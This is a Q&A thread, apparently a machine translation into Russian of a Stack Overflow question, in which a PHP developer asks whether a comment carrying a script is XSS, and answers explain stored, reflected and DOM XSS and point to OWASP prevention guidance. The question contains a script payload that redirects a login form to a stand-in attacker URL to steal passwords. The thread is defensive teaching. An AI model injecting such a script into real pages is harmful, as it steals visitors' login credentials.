Подтвердить что ты не робот

Является ли пользовательский ввод HTML с Javascript, который отображается другим, но не с HTML-экранированным примером XSS

Я разработчик PHP, и я хочу улучшить безопасность своих сайтов.

Из того, что я понимаю, следующие два основных типа уязвимостей, которые влияют на веб-приложения:

  • SQL Injection
  • XSS

SQL Injection может быть исправлена ​​с помощью подготовленных операторов - легко.

Но я до сих пор не получаю XSS - это пример XSS?...

  • Страница полного пользовательского контента имеет форму входа в систему (вверху сайта).
  • Пользовательский ввод на страницу не экранирован HTML.
  • Пользователь отправляет на страницу следующий контент (например, комментарий)...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • Невинный пользователь приходит на страницу, выполняет script.
  • Невинный пользователь понимает, что они не вошли в систему, и введите свои данные в форму.
  • Данные пользователя отправляются на http://somehackysite.com/givemyourpw.php, а затем детали учетной записи пользователя украдены.

Итак, у меня действительно есть три вопроса:

  • Будет ли это работать?
  • Это XSS?
  • Есть ли какие-либо меры предосторожности, которые разработчики должны предпринять против XSS, кроме экранирования HTML?
4b9b3361

Ответ 1

Существует два типа атак XSS: отраженные атаки XSS и Persistent XSS. То, что вы описали, где пользователь сайта вводит данные, которые сохраняются на стороне сервера и отображается для любого, кто просматривает страницу, считается Persistent XSS. Подобные атаки будут, если у вас есть поле комментариев на почте, которая не выходит из Javascript, или на странице профиля, в которую я могу что-то вставить.

Другим классом атак XSS является Reflected XSS. Они немного сложнее, но они составляют один из аргументов в URL-адресе для страницы, которая не экранирована. Они часто появляются в таких вещах, как страницы поиска на больших сайтах. Вы получите URL-адрес, который включает в себя некоторый javascript в нем (извините, мой пример вызван обработчиком здесь, поэтому я не могу показать вам пример), а на странице будет отображаться javascript, который позволит кому-то создавать вредоносные URL. Они особенно опасны на сайтах, которые передают какие-либо финансовые данные; представьте себе добросовестного пользователя, который всегда проверяет, чтобы они перешли на ссылку для записи в свой банк, но из-за атаки Reflected XSS злоумышленник может отправить их на законную страницу на своем веб-сайте своего банка, но имеет злонамеренный кода в нем.

В любом случае, ваш пример - Persistent XSS. Вы можете делать даже более гнусные вещи с такими атаками, а не просто менять, когда форма входа отправляет пользователей. Они были популярны годами, чтобы делать такие вещи, как очистка информации из личных областей сайтов или в сочетании с CSRF, чтобы заставить аутентифицированного пользователя что-то делать, просто просматривая страницу. Несколько раз появилось несколько MySpace-вирусов, которые сделали это, и распространились из профиля в профиль.

Ответ 2

Является ли это XSS?

Да, это дефект инъекции в целом и будет упоминаться как эксплойт XSS в этом конкретном случае в качестве его JavaScript, который был введен.

Но этот дефект инъекции, когда один пользовательский вход отражается на других пользователях без каких-либо изменений, также может уступать другим атакам, таким как defacement.

Будет ли это работать?

Да, очень вероятно, что это будет работать как исходный сервер, который служит для этого кода, как и любой другой код на веб-странице. Таким образом, он, как и автор веб-сайта, является создателем этого кода и будет рассматриваться аналогичным образом.

Есть ли какие-либо меры предосторожности, которые разработчики должны предпринять против XSS, кроме экранирования HTML?

На самом деле существуют три разных типа XSS: DOM на основе XSS, Отраженный XSS и Сохраненный/постоянный XSS). Ваш пример - это хранимый /persistend XSS-эксплойт, поскольку сервер развертывает эксплойт с каждым запросом.

Общее правило - не доверять никаким пользовательским вводам. При этом допускается только допустимый ввод пользователя или ввод данных пользователем (удаление недопустимых значений) или правильное кодирование (преобразование недопустимых значений) перед его выдачей. Подробнее см. OWASPs XSS Cheat Sheet.

Ответ 3

это xss, и я считаю, что javascript-инъекция тоже
поэтому я думаю, эта ссылка поможет

Ответ 4

Да, это пример базовой стойкой атаки XSS. В этой ситуации пользователь может не только украсть учетные данные, но и попытаться заразить посетителей, или спамить ссылки через ваш сайт.

Руководство по предотвращению OWASP XSS - хорошее начало. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet